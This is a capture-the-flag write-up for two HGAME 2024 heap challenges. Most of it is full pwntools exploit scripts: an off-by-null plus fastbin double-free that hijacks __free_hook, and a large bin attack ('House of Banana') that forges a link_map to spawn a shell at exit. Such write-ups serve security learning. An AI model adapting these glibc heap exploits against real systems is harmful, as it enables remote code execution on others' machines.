# HGAME 2024 Week3
> links:
> - [writeup of hgame 2024 week1 (all challenges)](https://hackmd.io/@pnck/hgame2024week1)
> - [writeup of hgame 2024 week2 (pwn challenges)](https://hackmd.io/@pnck/hgame2024week2)
> - [writeup of hgame 2024 week4 pwn challenge (Google Colab)](https://colab.research.google.com/drive/1CMOAcLHxpyD4PBAiN_pR27P_p-JTu2mo?usp=sharing)
## PWN. `Overflow`
An **_off-by-null_** challenge.
### References
- [How2Heap - poision_null](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/poison_null_byte.c)
- [The Glibc Source](https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L1404)
- Also refer to the previous challenge [_Fast Notes_][FN], which is essential to understand the whole exploitation.
### Synopsis
- No edit function similar to the [_`Fast Note`_][FN] challenge;
- And there is **no _UAF_**:

- Notes amount is limited, it won't allocate more notes without an empty slot.
- **There is** an off-by-null vulnerability that after the **read content** a `\0` is added to the tail:

- _`PIC`_ enabled so no static address is available for directly writing.
- The size of note is limited to 0xff.
[FN]: https://hackmd.io/@pnck/hgame2024week2#PWN-FastNoteÏ
### Exp & Explainations
Please refer to the comment in the exploitation script.
```python=
from functools import wraps
from pwn import *
context.arch = "amd64"
# context.log_level = "debug"
def getr():
r = remote("127.0.0.1", 9000)
# r = remote("106.14.57.14", 31059)
hello = r.recvuntil(b"Your choice:")
print(hello.decode())
r.unrecv(hello)
return r
r = getr()
def wait(f):
@wraps(f)
def w(*args, **kwargs):
r.recvuntil(b"Your choice:")
r.clean()
return f(*args, **kwargs)
return w
@wait
def add(x, size, content):
r.sendline(b"1") # add
r.sendlineafter(b"Index", b"%d" % x)
r.sendlineafter(b"Size", b"%d" % size)
r.send(content) # content
@wait
def show(x):
r.sendline(b"2") # show
r.sendlineafter(b"Index: ", b"%d" % x)
d = r.recvuntil(b"Your choice:")
r.unrecv(d)
d = d[: d.find(b"\n1.Add")]
return d
@wait
def rm(x):
r.sendline(b"3") # rm
r.sendline(b"%d" % x) # index
# helper functions to simplify tcache handling
def drain_tc(size):
for i in range(7):
add(i, size, b"TC".ljust(size, str(i).encode()))
def fill_tc():
for i in range(7):
rm(i)
# critical techniques are learnt from awsome shellphish's how2heap:
# https://github.com/shellphish/how2heap/blob/master/glibc_2.27/poison_null_byte.c
# https://github.com/shellphish/how2heap/blob/master/glibc_2.27/fastbin_dup.c
drain_tc(0xFF) # enable tc chunks, we want the victim (0x110) to go into unsorted bins
# overflow-er chunk
add(10, 0x10, b"0" * 0x10) # actuall size: 0x20, max allowed content size: 0x18
# victim chunk #11
# allocated size => 0x100 + 0x10
# soon overwritten to 0x100 so the tail becomes fake prev_size
fake_11 = None # fake #11 becomes 0x100 sized
fake_11_next = p64(0x100) + p64(0x10) # fake header [prev size, size]
add(11, 0xFF, fake_11_next.rjust(0x100, b"1")[:0xFF]) # emplace #11
# this bypass the size check when the chunk is freed
# see https://github.com/shellphish/how2heap/blob/72a6ddecf84229eba8a99ac52dc6fb46c2c06856/glibc_2.27/poison_null_byte.c#L49-L57
# #12 should also go into unsorted bins so that we tirgger consolidate on them
add(12, 0x80, b"2" * 0x80)
add(15, 5, b"LATCH")
fill_tc()
rm(11) # #11 goes into unsorted bins, now #12.prev_inuse == 0
rm(10) # #10 is in tcahce, but in doesn't matter since its job is just overflow
# overflow #11, fake prev_size => 0x100
add(10, 0x18, b"0" * 0x18)
# we are going to consolidate this chunk with #12 in unsorted bins
# so its size should be the same as tcaches' and #12
add(11, 0x80, b"1" * 0x80)
# size of #13 never takes effect, it's just a double-free handler
add(13, 0x30, b"3" * 0x30)
drain_tc(0x80) # let #11 and #12 go into unsorted bins
fill_tc()
rm(11)
rm(12)
# #13 is inside the consolidated bin
# allocate a chunk reaching #13 so that the next chunk is overlapped
drain_tc(0x80) # we don't want to allocate from tcaches
add(11, 0x80, b"PADDING")
add(12, 0x80, b"2" * 0x80)
# 12 is overlapped with #13 now!
# Leak libc
fill_tc() # 0x80
rm(12)
arena_ref = u64(show(13).ljust(8, b"\0"))
libc_base = arena_ref - 0x3EBCA0
# malloc_hook = libc_base + 0x3EBC30
free_hook = libc_base + 0x3ED8E8
system = libc_base + 0x4F420
success(
f"libc_base: {hex(libc_base)}, free_hook: {hex(free_hook)}, system: {hex(system)}"
)
# perform fastbin double-free
# we are going to hijack free() to system()
rm(11) # starts from a big unsorted bin
# all from unsorted bins:
add(8, 0x40, b"PADDING")
add(9, 0x30, b"PADDING") # we want fast bins this time
add(12, 0x30, b"OVERLAP") # overlapped with #13
add(11, 0xC0, b"DRAIN") # drain unsorted bins
# #9, #12, #13 go into fastbins
drain_tc(0x30)
fill_tc()
rm(12)
rm(9)
rm(13)
# double-freed on #12 / #13
rm(11) # just empty a slot for tiding up
info("there should be a circular linked list on fastbin[0x40]")
pause()
drain_tc(0x30)
add(11, 0x30, p64(free_hook)) # fake fd
add(12, 0x30, b"ANY")
add(13, 0x30, p64(free_hook))
add(9, 0x30, p64(system)) # will allocate on free_hook, overwrite to system()
info("About to trigger free_hook / system()")
pause()
# trigger free_hook / system()
add(14, 0x80, b"/bin/sh\0")
rm(14)
r.interactive()
```
## PWN. `RingIII`
> There is a [living demo ](https://colab.research.google.com/drive/14LzVR2oqV4Ymq6gklXbjD8M2AYQrzS47)of this challenge hosted on Google Colab. If you want to interactively discover the exploitation, please refer to it.
- Download libc debug info from https://answers.launchpad.net/ubuntu/groovy/amd64/libc6-dbg/2.32-0ubuntu3.2
- Unstrip the given libc with debug info
### Quick View
Comparing to the [previous challenge](https://hackmd.io/@pnck/hgame2024week2#PWN-EldenRingII), there are some significant changes.
- Note size is limited to match _`large bins`_. Without _`fast bins`_ and _`tcaches`_ it won't be possible to cheat _malloc()_ into returning arbitrary address.
- `Full Relo` is enabled, which means it won't be possible to directly tamper the `notes[]` array to aquire arbitrary RW.
But we still have a powerful UAF that allows us to directly control the heap chunks.


Since the only exploit entrance has been bound to _`large bins`_, let's get familiar with [_the large bin attack_](https://github.com/shellphish/how2heap/blob/master/glibc_2.32/large_bin_attack.c) at first.
The **_large bin attack_** writes a single chunk address to a specified place. What next comes to mind immediatly may be, definitely we should replace some essential hooks or pointers, but what's it exactly?
### House of Banana
Let me introduce the ultimate **_House of Banana_** technique.
Check these articles for the technique details.
- [两种Large-bin-attack总结](https://web.archive.org/web/20230505042211/https://x1ng.top/2021/10/31/%E4%B8%A4%E7%A7%8DLarge-bin-attack%E6%80%BB%E7%BB%93/)
- [house-of-系列源码分析](https://web.archive.org/web/20220701224728/https://giles-one.github.io/2021/10/04/house-of-%E7%B3%BB%E5%88%97%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/)
We can use the **_large bin atttack_** to replace the `l_next` pointer inside the **`link_map`** of `_rtld_global` to insert a fake `DSO`.
When an ELF program is exiting, the `ld` checks every loaded `DSO` if it need to do cleanup jobs by calling its finish handlers.
And by registering a fake `DSO` with our custom _finish handler_, we will be able to take control when the exit routine is trying to call our handler.
This works because the **_link_map_** is just a singly linked list, which is fragile and hard to be guaranteed the legality. And the nodes are emplaced at the very early stages, which restricts them to be static, thus their relative offsets are fixed.
### Exp & Explainations
```python=
from functools import wraps
from pwn import *
context.arch = "amd64"
context.log_level = "info"
def getr():
r = remote("127.0.0.1", 9000)
# r = remote("106.14.57.14", 32405)
hello = r.recvuntil(b">")
print(hello.decode())
r.unrecv(hello)
return r
r = getr()
libc = ELF("./libc.so.6")
def wait(f):
@wraps(f)
def w(*args, **kwargs):
r.recvuntil(b">")
r.clean()
return f(*args, **kwargs)
return w
@wait
def rm(x):
r.sendline(b"2") # rm
r.sendlineafter(b"Index", b"%d" % x) # index
@wait
def edit(x, content):
r.sendline(b"3") # edit
r.sendlineafter(b"Index", b"%d" % x)
r.sendafter(b"Content", content) # content
@wait
def show(x):
r.sendline(b"4") # show
r.sendlineafter(b"Index: ", b"%d" % x)
d = r.recvuntil(b">")
r.unrecv(d)
d = d[: d.find(b"\n1. Add")]
return d
@wait
def add(x, size, content=None):
r.sendline(b"1") # add
r.sendlineafter(b"Index", b"%d" % x)
r.sendlineafter(b"Size", b"%d" % size)
if content:
edit(x, content)
def shift(x, amount): # !WARN: ensure the arena is clean
"""
0 ~ 0x300 => +0x600 ~ +0x900
"""
assert amount + 0x5F0 <= 0x900
assert x != 0
add(0, 0x5F0 + amount)
add(x, 0x900)
rm(x)
rm(0)
# arena is still clean
def shift2(x, amount): # use 2 chunks as shifter, allow wider range
"""
0 ~ 0x700 => +0xb00 ~ +0x1200
"""
assert x not in (0, 14, 15)
# amount == 0 => 0x5F0+0x510=0xb00
# max => 0x900+0x900=0x1200; amount == 0x1200-0xb00=0x700
assert x <= 0x700
if amount <= (0x900 - 0x600):
add(14, 0x5E0 + amount)
add(15, 0x500)
add(x, 0x900)
rm(x)
rm(15)
rm(14)
else:
amount -= 0x900 - 0x600
add(14, 0x8E0)
add(15, 0x500 + amount)
add(x, 0x900)
rm(x)
rm(15)
rm(14)
# arena is still clean
# read N bytes on slot x
# fill empty bytes with 'x' and restore them after reading
def readx(x, size):
data = b""
hd = 0
while hd < size:
d = show(x)
if len(d[hd:]) == 0:
d = d[: hd + 1] + b"\0"
edit(x, b"x" * len(d))
data += d[hd:]
hd = len(data)
edit(x, data)
return data[:size]
"""
LAYOUT:
#0 #1 #2 #15
┌─────────┬────────┬──────┬─────────────────────────┬──────┬────────┐
│ shifter │ victim │ gap │ smaller container chunk │ gap │ kicker │
│ 0x700 │ 0x610 │ 0x10 │ 0x600 │ 0x10 │ 0x900 │
└─────────┴────────┴──────┴─────────────────────────┴──────┴────────┘
▲ ▲
#11─┘ #12─┘
"""
shift(11, 0x100 - 0x10) # 0x700 - 0x600
shift2(12, 0x220 - 0x10) # 0xd20 - 0xb00
# --------- DUMB THINGS ----------
shift2(13, 0x210 - 0x10)
add(0, 0x6F0)
add(1, 0x610)
add(2, 0x5E0)
add(14, 0x900)
rm(14)
rm(2)
rm(1)
rm(0)
# NOTE: the annoying remote environment has some bugs,
# that the server actually doesn't accept data sequence longer than 0x5a0
# I have to handle the chunk with more controllers, which should have not needed (#13, #14)
# ----- THANKS TO THE SERVER -----
add(0, 0x6F0)
add(1, 0x610)
add(2, 0x600)
add(15, 0x8F0, b"KICKER")
# modify chunk layout through #11 & #12
edit(11, p64(0) + p64(0x611))
edit(13, p64(0) + p64(0x11))Ï
edit(12, p64(0) + p64(0x601))
edit(14, p64(0) + p64(0x11))
# now kick the larger chunk into large bin and leak useful addresses
rm(15)
rm(1)
add(15, 0x8F0, b"KICK!")
# #1 goes into large bin
fd_1, bk_1, fd_nextsize_1, bk_nextsize_1 = unpack_many(readx(1, 0x20), 64)
chk_0 = fd_nextsize_1 - 0x6F0 # put some immediate values here
main_area = fd_1 - 0x4D0
libc_base = main_area - 0x1E3BA0
heap_base = fd_nextsize_1 - 0x990
success(f"libc_base: {libc_base:#x}; arena: {main_area:#x}")
success(f"heap_base: {heap_base:#x}")
pause()
rtld_global = libc_base + 0x21B040
# Oh, the offset is out of libc, why is it still correct?
# =>
# https://web.archive.org/web/20210926220108/https://www.nul.pw/2018/06/09/263.html
# https://web.archive.org/web/20210926221810/https://www.nul.pw/2018/06/09/267.html
"""
gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next
$6 = (struct link_map *) 0x7fd51e23c790
gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next->l_next
$7 = (struct link_map *) 0x7fd51e20a000
gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next->l_next->l_next
$8 = (struct link_map *) 0x7fd51e23ba48 <_rtld_global+2568>
gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next->l_next->l_next->l_next
$9 = (struct link_map *) 0x0
"""
# link_map: vuln -> vdso -> libc -> ld
# since nloaded == 4, we must replace ld
A_dl_ns_libc = libc_base + 0x1EA000
A_dl_ns_libc_next = A_dl_ns_libc + 0x18
bk_nextsize_1 = A_dl_ns_libc_next - 0x20 # will write it back
"""
gef➤ ptype /ox *(_rtld_global._dl_ns[0]._ns_loaded->l_next->l_next)
/* offset | size */ type = struct link_map {
/* 0x0000 | 0x0008 */ Elf64_Addr l_addr;
/* 0x0008 | 0x0008 */ char *l_name;
/* 0x0010 | 0x0008 */ Elf64_Dyn *l_ld;
/* 0x0018 | 0x0008 */ struct link_map *l_next;
/* 0x0020 | 0x0008 */ struct link_map *l_prev;
/* 0x0028 | 0x0008 */ struct link_map *l_real;
/* 0x0030 | 0x0008 */ Lmid_t l_ns;
/* 0x0038 | 0x0008 */ struct libname_list *l_libname;
/* 0x0040 | 0x0268 */ Elf64_Dyn *l_info[77];
...
/* 0x0318 | 0x0004 */ unsigned int l_direct_opencount;
/* 0x031c: 0x0 | 0x0004 */ enum {lt_executable, lt_library, lt_loaded} l_type : 2;
/* 0x031c: 0x2 | 0x0004 */ unsigned int l_relocated : 1;
/* 0x031c: 0x3 | 0x0004 */ unsigned int l_init_called : 1;
/* 0x031c: 0x4 | 0x0004 */ unsigned int l_global : 1;
/* 0x031c: 0x5 | 0x0004 */ unsigned int l_reserved : 2;
/* 0x031c: 0x7 | 0x0004 */ unsigned int l_phdr_allocated : 1;
/* 0x031d: 0x0 | 0x0004 */ unsigned int l_soname_added : 1;
/* 0x031d: 0x1 | 0x0004 */ unsigned int l_faked : 1;
/* 0x031d: 0x2 | 0x0004 */ unsigned int l_need_tls_init : 1;
/* 0x031d: 0x3 | 0x0004 */ unsigned int l_auditing : 1;
/* 0x031d: 0x4 | 0x0004 */ unsigned int l_audit_any_plt : 1;
/* 0x031d: 0x5 | 0x0004 */ unsigned int l_removed : 1;
/* 0x031d: 0x6 | 0x0004 */ unsigned int l_contiguous : 1;
/* 0x031d: 0x7 | 0x0004 */ unsigned int l_symbolic_in_local_scope : 1;
/* total size (bytes): 1152 */
/* the program elf
l_direct_opencount = 0x1,
l_type = lt_executable,
l_relocated = 0x1,
l_init_called = 0x1,
l_global = 0x1,
l_reserved = 0x0,
l_phdr_allocated = 0x0,
l_soname_added = 0x0,
l_faked = 0x0,
l_need_tls_init = 0x0,
l_auditing = 0x0,
l_audit_any_plt = 0x0,
l_removed = 0x0,
l_contiguous = 0x0,
l_symbolic_in_local_scope = 0x0,
l_free_initfini = 0x0,
*/
<elf.h> https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/elf.h#L879
#define DT_FINI 13 /* Address of termination function */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
*/
"""
A_fake_link_map = fd_nextsize_1 + 0x620
fake_link_map = ( # #12
# https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131
# destructor pointer is considered at l_addr + l_info[DT_FINI_ARRAY].d_un.d_ptr
p64(0) # l_addr
+ p64(fd_nextsize_1 + 0xC40) # l_name, points to #kicker for debug
+ p64(0) # l_ld
+ p64(0) # l_next
+ p64(A_dl_ns_ld) # l_prev
+ p64(A_fake_link_map) # l_real, points to #12
)
fake_link_map = fake_link_map.ljust(0x31C, b"\0")
fake_link_map += p8(0b00011110) # bit fields
fake_link_map = fake_link_map.ljust(1152, b"\0")
d_info_fini_array = p64(26) + p64(chk_0) # DT_FINI_ARRAY
d_info_fini_arraysz = p64(28) + p64(8) # DT_FINI_ARRAYSZ
fake_link_map = (
fake_link_map[: 0x40 + 8 * 26]
+ p64(A_fake_link_map + 1152)
+ p64(0)
+ p64(A_fake_link_map + 1152 + len(d_info_fini_array))
+ fake_link_map[0x40 + 8 * 29 :]
)
assert len(fake_link_map) == 1152
fake_link_map += d_info_fini_array
fake_link_map += d_info_fini_arraysz
# next perform large bin attack to mount #2 onto link_map
rm(15)
edit(1, p64(fd_1) + p64(bk_1) + p64(fd_nextsize_1) + p64(bk_nextsize_1))
rm(2)
add(15, 0x8F0, b"KICK!")
edit(12, fake_link_map)
edit(0, p64(libc_base + 0xDF54C) * 4) # also, put the dtor pointer at #0
"""
0xdf54c execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
"""
r.sendlineafter(b">", b"5") # exit
r.interactive()
```